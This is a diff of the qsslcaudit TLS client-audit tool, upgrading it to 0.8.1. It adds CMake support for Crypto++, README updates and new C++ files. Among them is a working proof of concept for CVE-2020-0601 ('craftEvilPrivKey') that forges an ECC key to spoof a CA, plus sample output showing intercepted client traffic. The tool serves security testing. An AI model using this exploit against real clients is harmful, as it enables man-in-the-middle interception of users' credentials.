Codebase list qsslcaudit / b0d0d96
New upstream version 0.8.1 Sophie Brun 4 years ago
16 changed file(s) with 1020 addition(s) and 62 deletion(s). Raw diff Collapse all Expand all
22 cmake_minimum_required(VERSION 2.8.11)
33
44 set(QSSLC_VERSION_MAJOR 0)
5 set(QSSLC_VERSION_MINOR 7)
5 set(QSSLC_VERSION_MINOR 8)
66 set(QSSLC_VERSION_PATCH 1)
77 set(QSSLC_VERSION "${QSSLC_VERSION_MAJOR}.${QSSLC_VERSION_MINOR}.${QSSLC_VERSION_PATCH}")
88 # version formatting stolen from KeepAssXC's CMakeLists.txt :-)
151151
152152 add_definitions(-DQSSLC_VERSION="${QSSLC_VERSION}")
153153
154 find_package(CryptoPP REQUIRED)
155
154156 set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -Wall")
155157
156158 set(THIRDPARTY_DIR "${CMAKE_SOURCE_DIR}/thirdparty")
0 # Module for locating the Crypto++ encryption library.
1 #
2 # Customizable variables:
3 # CRYPTOPP_ROOT_DIR
4 # This variable points to the CryptoPP root directory. On Windows the
5 # library location typically will have to be provided explicitly using the
6 # -D command-line option. The directory should include the include/cryptopp,
7 # lib and/or bin sub-directories.
8 #
9 # Read-only variables:
10 # CRYPTOPP_FOUND
11 # Indicates whether the library has been found.
12 #
13 # CRYPTOPP_INCLUDE_DIRS
14 # Points to the CryptoPP include directory.
15 #
16 # CRYPTOPP_LIBRARIES
17 # Points to the CryptoPP libraries that should be passed to
18 # target_link_libararies.
19 #
20 #
21 # Copyright (c) 2012 Sergiu Dotenco
22 #
23 # Permission is hereby granted, free of charge, to any person obtaining a copy
24 # of this software and associated documentation files (the "Software"), to deal
25 # in the Software without restriction, including without limitation the rights
26 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
27 # copies of the Software, and to permit persons to whom the Software is
28 # furnished to do so, subject to the following conditions:
29 #
30 # The above copyright notice and this permission notice shall be included in all
31 # copies or substantial portions of the Software.
32 #
33 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
34 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
35 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
36 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
37 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
38 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
39 # SOFTWARE.
40
41 INCLUDE (FindPackageHandleStandardArgs)
42
43 FIND_PATH (CRYPTOPP_ROOT_DIR
44 NAMES cryptopp/cryptlib.h include/cryptopp/cryptlib.h
45 PATHS ENV CRYPTOPPROOT
46 DOC "CryptoPP root directory")
47
48 # Re-use the previous path:
49 FIND_PATH (CRYPTOPP_INCLUDE_DIR
50 NAMES cryptopp/cryptlib.h
51 HINTS ${CRYPTOPP_ROOT_DIR}
52 PATH_SUFFIXES include
53 DOC "CryptoPP include directory")
54
55 FIND_LIBRARY (CRYPTOPP_LIBRARY_DEBUG
56 NAMES cryptlibd cryptoppd
57 HINTS ${CRYPTOPP_ROOT_DIR}
58 PATH_SUFFIXES lib
59 DOC "CryptoPP debug library")
60
61 FIND_LIBRARY (CRYPTOPP_LIBRARY_RELEASE
62 NAMES cryptlib cryptopp
63 HINTS ${CRYPTOPP_ROOT_DIR}
64 PATH_SUFFIXES lib
65 DOC "CryptoPP release library")
66
67 IF (CRYPTOPP_LIBRARY_DEBUG AND CRYPTOPP_LIBRARY_RELEASE)
68 SET (CRYPTOPP_LIBRARY
69 optimized ${CRYPTOPP_LIBRARY_RELEASE}
70 debug ${CRYPTOPP_LIBRARY_DEBUG} CACHE DOC "CryptoPP library")
71 ELSEIF (CRYPTOPP_LIBRARY_RELEASE)
72 SET (CRYPTOPP_LIBRARY ${CRYPTOPP_LIBRARY_RELEASE} CACHE DOC
73 "CryptoPP library")
74 ENDIF (CRYPTOPP_LIBRARY_DEBUG AND CRYPTOPP_LIBRARY_RELEASE)
75
76 IF (CRYPTOPP_INCLUDE_DIR)
77 SET (_CRYPTOPP_VERSION_HEADER ${CRYPTOPP_INCLUDE_DIR}/cryptopp/config.h)
78
79 IF (EXISTS ${_CRYPTOPP_VERSION_HEADER})
80 FILE (STRINGS ${_CRYPTOPP_VERSION_HEADER} _CRYPTOPP_VERSION_TMP REGEX
81 "^#define CRYPTOPP_VERSION[ \t]+[0-9]+$")
82
83 STRING (REGEX REPLACE
84 "^#define CRYPTOPP_VERSION[ \t]+([0-9]+)" "\\1" _CRYPTOPP_VERSION_TMP
85 ${_CRYPTOPP_VERSION_TMP})
86
87 STRING (REGEX REPLACE "([0-9]+)[0-9][0-9]" "\\1" CRYPTOPP_VERSION_MAJOR
88 ${_CRYPTOPP_VERSION_TMP})
89 STRING (REGEX REPLACE "[0-9]([0-9])[0-9]" "\\1" CRYPTOPP_VERSION_MINOR
90 ${_CRYPTOPP_VERSION_TMP})
91 STRING (REGEX REPLACE "[0-9][0-9]([0-9])" "\\1" CRYPTOPP_VERSION_PATCH
92 ${_CRYPTOPP_VERSION_TMP})
93
94 SET (CRYPTOPP_VERSION_COUNT 3)
95 SET (CRYPTOPP_VERSION
96 ${CRYPTOPP_VERSION_MAJOR}.${CRYPTOPP_VERSION_MINOR}.${CRYPTOPP_VERSION_PATCH})
97 ENDIF (EXISTS ${_CRYPTOPP_VERSION_HEADER})
98 ENDIF (CRYPTOPP_INCLUDE_DIR)
99
100 SET (CRYPTOPP_INCLUDE_DIRS ${CRYPTOPP_INCLUDE_DIR})
101 SET (CRYPTOPP_LIBRARIES ${CRYPTOPP_LIBRARY})
102
103 MARK_AS_ADVANCED (CRYPTOPP_INCLUDE_DIR CRYPTOPP_LIBRARY CRYPTOPP_LIBRARY_DEBUG
104 CRYPTOPP_LIBRARY_RELEASE)
105
106 FIND_PACKAGE_HANDLE_STANDARD_ARGS (CryptoPP REQUIRED_VARS CRYPTOPP_ROOT_DIR
107 CRYPTOPP_INCLUDE_DIR CRYPTOPP_LIBRARY VERSION_VAR CRYPTOPP_VERSION)
44
55 - [Summary](#summary)
66 - [Installation from Binary Packages](#installation-from-binary-packages)
7 - [Debian / Kali](#debian--kali)
8 - [ALTLinux](#altlinux)
7 - [Prior note](#prior-note)
8 - [Ubuntu](#ubuntu)
9 - [Kali](#kali)
910 - [Installation from Sources](#installation-from-sources)
1011 - [Note on OpenSSL 1.1.0](#note-on-openssl-110)
1112 - [Note on unsafe OpenSSL variant](#note-on-unsafe-openssl-variant)
2122 - [Usage Example #1](#usage-example-1)
2223 - [Usage Example #2](#usage-example-2)
2324 - [Usage Example #3](#usage-example-3)
25 - [CVE-2020-0601](#cve-2020-0601)
2426 - [(Some) Command Line Options](#some-command-line-options)
2527 - [Tests](#tests)
2628 - [certificate trust test with user-supplied certificate](#certificate-trust-test-with-user-supplied-certificate)
4749
4850 Basically, after performing tests using `qsslcaudit` one can answer the following questions about TLS/SSL client:
4951
50 * Does it properly verify server's certificate?
52 * Does it properly verify a server's certificate?
5153 * Does it verify that server name (CN) field in the certificate is the same as the target name?
5254 * Does it verify that certificate was issued by an authority that can be trusted?
5355 * Does it support weak protocols (SSLv2, SSLv3) or weak ciphers (EXPORT/LOW/MEDIUM grade)?
5456
5557 If the tested application has some weaknesses in TLS/SSL implementation, there is a risk of man-in-the-middle attack which could lead to sensitive information (such as user credentials) disclosure.
5658
57 Assume that we have mobile application which at some point requests https://login.domain.tld/ Such request can be forwarded to rogue server (i.e. on public WiFi network) and, if mobile app does not verify server's certificate, users credentials will be intercepted.
59 Assume that we have mobile application which at some point requests https://login.domain.tld/ Such request can be forwarded to rogue server (i.e. on public WiFi network) and, if mobile app does not verify the server's certificate, users credentials will be intercepted.
5860
5961 To check how the application behaves in this scenario we should setup our own rogue TLS/SSL server and forward the app to it. Then we launch the application, try to login and observe the results. In case login failed -- all is fine.
6062
6466
6567 # Installation from Binary Packages
6668
67 Prior note: `openssl-unsafe` package will *not* override system OpenSSL library. It has all its libraries renamed so one can not occasionally link against *unsafe* version.
68
69 ## Debian / Kali
70
71 Download `qsslcaudit` deb package from https://github.com/gremwell/qsslcaudit/releases
72 Download `openssl-unsafe` deb packages from https://github.com/gremwell/unsafeopenssl-pkg-debian/releases page.
73
74 Install them altogether:
75 ```
76 dpkg -i qsslcaudit_0.2.1-1_amd64.deb openssl-unsafe_1.0.2i-2_amd64.deb libunsafessl1.0.2_1.0.2i-2_amd64.deb
77 ```
78
79 ## ALTLinux
80
81 Download `qsslcaudit` RPM package from https://github.com/gremwell/qsslcaudit/releases
82 Download `openssl-unsafe` packages from https://github.com/gremwell/unsafeopenssl-pkg-alt/releases page.
83
84 Install them altogether:
85 ```
86 apt-get install qsslcaudit-0.2.1-alt1.x86_64.rpm libunsafecrypto10-1.0.2i-alt2.x86_64.rpm libunsafessl10-1.0.2i-alt2.x86_64.rpm openssl-unsafe-1.0.2i-alt2.x86_64.rpm
87 ```
69 ## Prior note
70
71 The tool heavily relies on unsafe version of OpenSSL library (see below). It is separately packaged. Do note that its installation will not interfere with system version of OpenSSL and will not introduce security risks by itself.
72
73 `qsslcaudit` uses only unsafe *libraries*. However, you might be interested in `openssl-unsafe` package which can be used to connect to TLS servers using insecure protocols/ciphers. This is can be combined with tools like [testssl.sh](https://testssl.sh).
74
75 ## Ubuntu
76
77 Use PPA to install packages on Xenial and Bionic distros:
78 ```
79 add-apt-repository ppa:gremwell/qsslcaudit
80 apt-get update
81 apt-get install qsslcaudit
82 ```
83
84 ## Kali
85
86 Starting from 2020 `qsslcaudit` is included in the official Kali repository.
8887
8988 # Installation from Sources
9089
10099
101100 ## Note on unsafe OpenSSL variant
102101
103 As even 1.0.x versions are too safe for some of the tests included, we prepared so-called *unsafe* build of OpenSSL library. See repositories https://github.com/gremwell/unsafeopenssl-pkg-debian and https://github.com/gremwell/unsafeopenssl-pkg-alt
104
105 Packages backed from these repos follow filesystem hierarchy standard but install renamed OpenSSL libraries, i.e. `libunsafessl` and `libunsafecrypto`. This makes it impossible to accidentally link your program against these libraries. Additionally, they provide `openssl-unsafe` binary which can be useful by itself with tools like https://testssl.sh/
102 As even 1.0.x versions are too safe for some of the tests included, we prepared so-called *unsafe* build of OpenSSL library. See https://github.com/gremwell/unsafeopenssl-pkg-deb
103
104 Packages backed from this repo follow filesystem hierarchy standard but install renamed OpenSSL libraries, i.e. `libunsafessl` and `libunsafecrypto`. This makes it impossible to accidentally link your program against these libraries. Additionally, they provide `openssl-unsafe` binary which can be useful by itself with tools like [testssl.sh](https://testssl.sh/)
106105
107106 Build system of `qsslcaudit` determines which OpenSSL variant is installed and will use *unsafe* version if it is available.
108107
113112 * [Qt](https://www.qt.io/) (Qt5-base) development package
114113 * [GNU TLS](https://www.gnutls.org/) library development package
115114 * [OpenSSL](https://www.openssl.org/) library development package
115 * [CryptoPP](https://cryptopp.com/) library development package
116116 * [CMake](https://cmake.org/) tool
117117
118 If you want to use unsafe OpenSSL variant, install corresponding packages from https://github.com/gremwell/unsafeopenssl-pkg-debian or https://github.com/gremwell/unsafeopenssl-pkg-alt and avoid having standard system OpenSSL devel packages. Below we mention default system libraries.
119
120 Installing packages for ALT Linux (P8, Sisyphus@01-2018): `sudo apt-get install cmake qt5-base-devel libgnutls-devel libssl-devel`.
121
122 Installing packages for Kali (rolling@01-2018): `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libssl1.0-dev`.
123
124 Installing packages for Ubuntu 16.04: `sudo apt-get install cmake qtbase5-dev libgnutls-dev libssl-dev`.
125
126 Installing packages for Ubuntu 18.04: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libssl1.0-dev`.
127
128 Installing packages for Linux Mint 18.3: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libssl-dev g++`.
118 If you want to use unsafe OpenSSL variant, install corresponding "-dev" packages from PPA/Kali repositories mentioned earlier. This is a recommended way as having `qsslcaudit` in its *safe* form allows to perform very little amount of tests.
119
120 Installing packages for Kali: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libunsafessl-dev libcrypto++-dev`.
121
122 Installing packages for Ubuntu 16.04: `sudo apt-get install cmake qtbase5-dev libgnutls-dev libunsafessl-dev libcrypto++-dev`.
123
124 Installing packages for Ubuntu 18.04: `sudo apt-get install cmake qtbase5-dev libgnutls28-dev libunsafessl-dev libcrypto++-dev`.
129125
130126 ### Detailed build description
131127
146142
147143 Now the tool is installed.
148144
149 OpenSSL library is determine during `cmake` run. If your system has unsafe version (see above), it will be used. Otherwise -- available system version (1.0.x or 1.1.x).
145 OpenSSL library is determined during `cmake` run. If your system has the unsafe version (see above), it will be used. Otherwise -- available system version (1.0.x or 1.1.x).
150146
151147 #### Building unsafe OpenSSL library
152148
206202 Connections can also be forwarded with help of HTTP proxy:
207203
208204 * Setup HTTP/HTTPS proxy on the host which has network access to `qsslcaudit` instance.
209 * Configure client's system to use proxy.
205 * Configure the client's system to use proxy.
210206 * Configure proxy to forward incoming connections to the target host towards `qsslcaudit` listener. This is complicated step which is described below.
211207
212208 Forwarding connections can not be done in [Burp](http://releases.portswigger.net/) (the only option is to forward all connections). [Fiddler](https://www.telerik.com/fiddler) also does not support such mode. A custom tool can be used (like Python script).
361357 $ openssl s_client -connect 127.0.0.1:8443 -ssl3 -cipher MEDIUM
362358 ```
363359
360 ## CVE-2020-0601
361
362 A test for [CVE-2020-0601](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601) (`the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates`) is included in certificate validation tests group and always tries to enable itself.
363
364 However, if one wants to test if a particular client application is affected by CVE-2020-0601 the following preconditions have to be met:
365 - a signed using elliptic-curve cryptography algorithm CA certificate has to be provided;
366 - this certificate has to be cached by client's crypto subsystem.
367
368 CA certificate can be provided in two ways:
369 - With option `--user-ca-cert`. Provide a path to CA certificate file.
370 - With option `--server`. If the provided TLS server has CA certificate in its chain, it will be used. Please note that it is not common to add CA into chain of certificates.
371
372 The test will explicitly output an error message occurred. This should help to find out what went wrong.
373
374 An example of what happens when invalid certificate is provided:
375 ```
376 $ qsslcaudit --selected-tests 29 --user-ca-cert ./AddTrustExternalCARoot
377 preparing selected tests...
378 CVE-2020-0601: the provided CA certificate is not signed using ECC
379 skipping test: test for trusting certificate signed by private key with custom curve
380
381 ...skipped...
382 ```
383
384 An example demonstrating that targeted client is vulnerable:
385 ```
386 $ sudo qsslcaudit -l 0.0.0.0 -p 443 --selected-tests 29 --user-ca-cert ./USERTrustECCCertificationAuthority.crt --user-cn example.com
387 preparing selected tests...
388
389 SSL library used: OpenSSL 1.0.2u 20 Dec 2019
390
391 running test #29: test for trusting certificate signed by private key with custom curve
392 listening on 0.0.0.0:443
393 connection from: 127.0.0.1:52454
394 SSL connection established
395 received data: GET / HTTP/1.1
396 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
397 Accept-Language: en-BE
398 Upgrade-Insecure-Requests: 1
399 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
400 Accept-Encoding: gzip, deflate, br
401 Host: example.com
402 Connection: Keep-Alive
403
404
405 disconnected
406 report:
407 test failed, client accepted fake certificate, data was intercepted
408 test finished
409
410 tests results summary table:
411 +----|------------------------------------|------------|-----------------------------+
412 | ## | Test Name | Result | Comment |
413 +----|------------------------------------|------------|-----------------------------+
414 | 29 | CVE-2020-0601 ECC cert trust | FAILED !!! | mitm possible |
415 +----|------------------------------------|------------|-----------------------------+
416 most likely all connections were established by the same client
417 the first connection details:
418 source host: 127.0.0.1
419 dtls?: false
420 ssl errors:
421 ssl conn established?: true
422 intercepted data: GET / HTTP/1.1
423 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
424 Accept-Language: en-BE
425 Upgrade-Insecure-Requests: 1
426 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
427 Accept-Encoding: gzip, deflate, br
428 Host: example.com
429 Connection: Keep-Alive
430
431
432 received data, bytes: 722
433 transmitted data, bytes: 1698
434 protocol: TLSv1.2
435 accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA
436 SNI: example.com
437 ALPN: h2, http/1.1
438
439 qsslcaudit version: 0.7.1-snapshot
440 ```
364441
365442 ## (Some) Command Line Options
366443
1313 sslcheck.cpp
1414 ssltestresult.cpp
1515 clientinfo.cpp
16 openssl-helper.cpp
17 cve-2020-0601_poc.cpp
1618 )
1719
1820 set(qsslcauditHeaders
3234 sslcheck.h
3335 ssltestresult.h
3436 clientinfo.h
37 openssl-helper.h
38 cve-2020-0601_poc.h
3539 )
3640
3741 include_directories(
4650 add_library(qsslcaudit_lib STATIC ${qsslcauditSources} ${qsslcauditHeaders})
4751 set_target_properties(qsslcaudit_lib PROPERTIES AUTOMOC TRUE)
4852
49 target_link_libraries(qsslcaudit_lib qtcertificateaddon)
53 target_link_libraries(qsslcaudit_lib qtcertificateaddon ${CRYPTOPP_LIBRARIES})
5054
5155 if(UNSAFE_QSSL)
5256 target_link_libraries(qsslcaudit_lib unsafessl)
0 #include "cve-2020-0601_poc.h"
1
2 #include <cryptopp/sha.h>
3 #include <cryptopp/eccrypto.h>
4 #include <cryptopp/nbtheory.h>
5 #include <cryptopp/osrng.h>
6 #include <cryptopp/oids.h>
7 #include <cryptopp/files.h>
8 using CryptoPP::SHA1;
9 using CryptoPP::SHA256;
10 using CryptoPP::SHA384;
11 using CryptoPP::ECDSA;
12 using CryptoPP::ECP;
13 using CryptoPP::DL_Keys_ECDSA;
14 using CryptoPP::StringSource;
15 using CryptoPP::DL_GroupParameters_EC;
16 using CryptoPP::DL_PrivateKey_EC;
17 using CryptoPP::DERSequenceEncoder;
18 using CryptoPP::DEREncodeUnsigned;
19 using CryptoPP::DERGeneralEncoder;
20 using CryptoPP::BufferedTransformation;
21
22 //#define SUPPORT_DER_ENCODING 1
23
24 #ifdef SUPPORT_DER_ENCODING
25 // stolen from https://github.com/noloader/cryptopp-pem/blob/master/pem_write.cpp
26
27 // This class saves the existing EncodeAsOID setting for EC group parameters.
28 // PEM_Save unconditionally sets it to TRUE for OpenSSL compatibility. See
29 // https://wiki.openssl.org/index.php/Elliptic_Curve_Cryptography#Named_Curves
30 template <class T>
31 struct OID_State
32 {
33 OID_State(const T& obj);
34 virtual ~OID_State();
35
36 const T& m_gp;
37 bool m_flag;
38 };
39
40 template <>
41 OID_State<DL_GroupParameters_EC<ECP> >::OID_State(const DL_GroupParameters_EC<ECP>& gp)
42 : m_gp(gp), m_flag(gp.GetEncodeAsOID()) {
43 DL_GroupParameters_EC<ECP>& obj = const_cast<DL_GroupParameters_EC<ECP>&>(m_gp);
44 obj.SetEncodeAsOID(true);
45 }
46
47 template <>
48 OID_State<DL_GroupParameters_EC<ECP> >::~OID_State() {
49 DL_GroupParameters_EC<ECP>& obj = const_cast<DL_GroupParameters_EC<ECP>&>(m_gp);
50 obj.SetEncodeAsOID(m_flag);
51 }
52
53 template <class EC>
54 void savePrivKey(const DL_PrivateKey_EC<EC>& key, BufferedTransformation& bt)
55 {
56
57 // Crypto++ provides {version,x}, while OpenSSL expects {version,x,curve oid,y}.
58 typedef typename DL_PrivateKey_EC<EC>::Element Element;
59 const DL_GroupParameters_EC<EC>& params = key.GetGroupParameters();
60 const CryptoPP::Integer& x = key.GetPrivateExponent();
61 const Element& y = params.ExponentiateBase(x);
62
63 CryptoPP::Integer M = params.GetCurve().GetField().GetModulus();
64 CryptoPP::Integer A = params.GetCurve().GetA();
65 CryptoPP::Integer B = params.GetCurve().GetB();
66 const Element G = params.GetSubgroupGenerator();
67
68 // Named curve
69 CryptoPP::OID oid;
70 bool validNamedCurve = key.GetVoidValue(CryptoPP::Name::GroupOID(), typeid(oid), &oid);
71 //if (key.GetVoidValue(CryptoPP::Name::GroupOID(), typeid(oid), &oid) == false)
72 // throw CryptoPP::Exception(CryptoPP::Exception::OTHER_ERROR, "PEM_DEREncode: failed to retrieve curve OID");
73 // as we might have private key with custom curve, it can not be found among the list of approved OIDs
74 // thus, the call commented above will raise an exception.
75 // we can handle this case by just providing a fake OID. this will make the resulting key unparsable
76 // by most of the tools, but in fact it will work
77 // if we insert here known OID here, tools will try to validate the key and this validation will fail
78 if (!validNamedCurve) {
79 oid += 1; oid += 2; oid += 3; oid += 4; oid += 5;
80 //oid = CryptoPP::ASN1::secp384r1();
81 }
82
83 DERSequenceEncoder seq1(bt);
84 DEREncodeUnsigned<CryptoPP::word32>(seq1, 1); // version
85 x.DEREncodeAsOctetString(seq1, params.GetSubgroupOrder().ByteCount());
86
87 DERGeneralEncoder cs1(seq1, CryptoPP::CONTEXT_SPECIFIC | CryptoPP::CONSTRUCTED | 0);
88 //params.DEREncode(cs1);
89 DERSequenceEncoder seq2(cs1);
90 DEREncodeUnsigned<CryptoPP::word32>(seq2, 1);
91 params.GetCurve().DEREncode(seq2);
92 params.GetCurve().DEREncodePoint(seq2, params.GetSubgroupGenerator(), false);
93 params.GetGroupOrder().DEREncode(seq2);
94 DEREncodeUnsigned<CryptoPP::word32>(seq2, 1);
95 seq2.MessageEnd();
96 cs1.MessageEnd();
97 seq1.MessageEnd();
98 bt.MessageEnd();
99 }
100
101 void privKeyToDer(const DL_PrivateKey_EC<ECP>& ec, BufferedTransformation& bt)
102 {
103 OID_State<DL_GroupParameters_EC<ECP> > state(ec.GetGroupParameters());
104 savePrivKey(ec, bt);
105 }
106
107 void privKeyToDer(const DL_Keys_ECDSA<ECP>::PrivateKey& ecdsa, BufferedTransformation& bt)
108 {
109 privKeyToDer(dynamic_cast<const DL_PrivateKey_EC<ECP>&>(ecdsa), bt);
110 }
111 #endif
112
113 bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
114 char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
115 bool doSave, const char *evilPrivKeyFileName)
116 {
117 // load public key of the provided certificate into native CryptoPP type
118 DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
119 caPubKey.Load(CryptoPP::ArraySource((const unsigned char *)caPubKeyRaw,
120 caPubKeyRawLen, true).Ref());
121
122 // generate a private key using the same curve as in the provided CA certificate
123 CryptoPP::AutoSeededRandomPool prng;
124 DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
125 privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());
126
127 // get the private key elliptic curve parameters
128 CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
129 ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
130 CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();
131
132 // calculate an inverse value of the private key
133 CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
134 // produce our custom generator (base point) as a multiplication of the inverse value of our private key
135 // and the public key of the provided CA certificate
136 ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
137 ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);
138
139 // create an "evil" private key object using the base private's key exponent and curve but
140 // with our "evil" generator (base point)
141 DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
142 evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);
143
144 // convert evil private key into PKCS8 format
145 CryptoPP::ArraySink evilPrivKeyPKCS8As((unsigned char *)outEvilPrivKeyPKCS8, maxSizePKCS8);
146 evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
147 *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();
148
149 if (doSave) {
150 // save it as-is so this can be imported by some tools
151 evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
152 }
153
154 // the code below converts the key to DER format
155 // however, as we have here our custom curve (not the "named" one), most of the
156 // tools are not able to properly import it. thus, leaving this code commented-out
157 #ifdef SUPPORT_DER_ENCODING
158 CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
159 privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
160 *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
161 #endif
162
163 return true;
164 }
0 #ifndef CVE20200601_POC_H
1 #define CVE20200601_POC_H
2
3 #include <stddef.h>
4
5 bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
6 char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
7 bool doSave = true, const char *evilPrivKeyFileName = NULL);
8
9 #endif // CVE20200601_POC_H
0 #include "openssl-helper.h"
1
2 #include <iostream>
3 #include <string.h>
4
5 #ifdef UNSAFE
6 #include <openssl-unsafe/bio.h>
7 #include <openssl-unsafe/x509.h>
8 #include <openssl-unsafe/evp.h>
9 #include <openssl-unsafe/pem.h>
10 #include <openssl-unsafe/x509v3.h>
11 #else
12 #include <openssl/bio.h>
13 #include <openssl/x509.h>
14 #include <openssl/evp.h>
15 #include <openssl/pem.h>
16 #include <openssl/x509v3.h>
17 #endif
18
19
20 bool getCertPublicKey(const char *certData, size_t certLen,
21 unsigned char *out, size_t *outLen,
22 bool pem)
23 {
24 BIO *bio = NULL;
25 X509 *cert = NULL;
26 EVP_PKEY *pkey = NULL;
27
28 // create an X509 certificate from the provided data
29 bio = BIO_new(BIO_s_mem());
30 BIO_write(bio, certData, certLen);
31 if (pem) {
32 cert = PEM_read_bio_X509(bio, NULL, NULL, NULL);
33 } else {
34 cert = d2i_X509_bio(bio, NULL);
35 }
36 if (!cert) {
37 std::cerr << "can't parse the provided CA certificate" << std::endl;
38 return false;
39 }
40
41 // extract public key from X509 certificate structure
42 pkey = X509_get_pubkey(cert);
43
44 // save raw public key data into the provided buffer
45 *outLen = i2d_PUBKEY(pkey, NULL);
46 i2d_PUBKEY(pkey, &out);
47
48 EVP_PKEY_free(pkey);
49 X509_free(cert);
50 BIO_free_all(bio);
51
52 return true;
53 }
54
55 bool pkcs8PrivKeyToPem(const char *privKeyRaw, size_t privKeyRawLen,
56 char *privKeyPem, size_t maxSize, size_t *evilPrivKeyPemLen,
57 bool doSave, const char *privKeyFileName)
58 {
59 BIO *bioIn = NULL;
60 BIO *bioOut = NULL;
61 BIO *bioF = NULL;
62 EVP_PKEY *pkey = NULL;
63
64 // load private key from buffer
65 bioIn = BIO_new(BIO_s_mem());
66 BIO_write(bioIn, privKeyRaw, privKeyRawLen);
67 pkey = d2i_PrivateKey_bio(bioIn, NULL);
68 if (!pkey) {
69 std::cerr << "can't parse the provided private key" << std::endl;
70 return false;
71 }
72
73 // save key into memory buffer
74 bioOut = BIO_new(BIO_s_mem());
75 PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL);
76 *evilPrivKeyPemLen = BIO_read(bioOut, privKeyPem, maxSize);
77
78 // save private key
79 if (doSave) {
80 bioF = BIO_new_file(privKeyFileName, "w");
81 PEM_write_bio_PrivateKey(bioF, pkey, NULL, NULL, 0, NULL, NULL);
82 }
83
84 EVP_PKEY_free(pkey);
85 BIO_free_all(bioIn);
86 BIO_free_all(bioOut);
87 BIO_free_all(bioF);
88
89 return true;
90 }
91
92 bool getCertSerial(const char *certData, size_t certLen,
93 unsigned char *out, size_t maxSize, size_t *outLen,
94 bool pem)
95 {
96 BIO *bio = NULL;
97 X509 *cert = NULL;
98 ASN1_INTEGER *serial = NULL;
99 BIGNUM *bn = NULL;
100 char *tmpBuf = NULL;
101
102 // create a certificate from the provided data
103 bio = BIO_new(BIO_s_mem());
104 BIO_write(bio, certData, certLen);
105 if (pem) {
106 cert = PEM_read_bio_X509(bio, NULL, NULL, NULL);
107 } else {
108 cert = d2i_X509_bio(bio, NULL);
109 }
110 if (!cert) {
111 std::cerr << "can't parse the provided certificate" << std::endl;
112 return false;
113 }
114
115 serial = X509_get_serialNumber(cert);
116 if (!serial) {
117 std::cerr << "can't obtain certificate' serial number" << std::endl;
118 return false;
119 }
120
121 bn = ASN1_INTEGER_to_BN(serial, NULL);
122 if (!bn) {
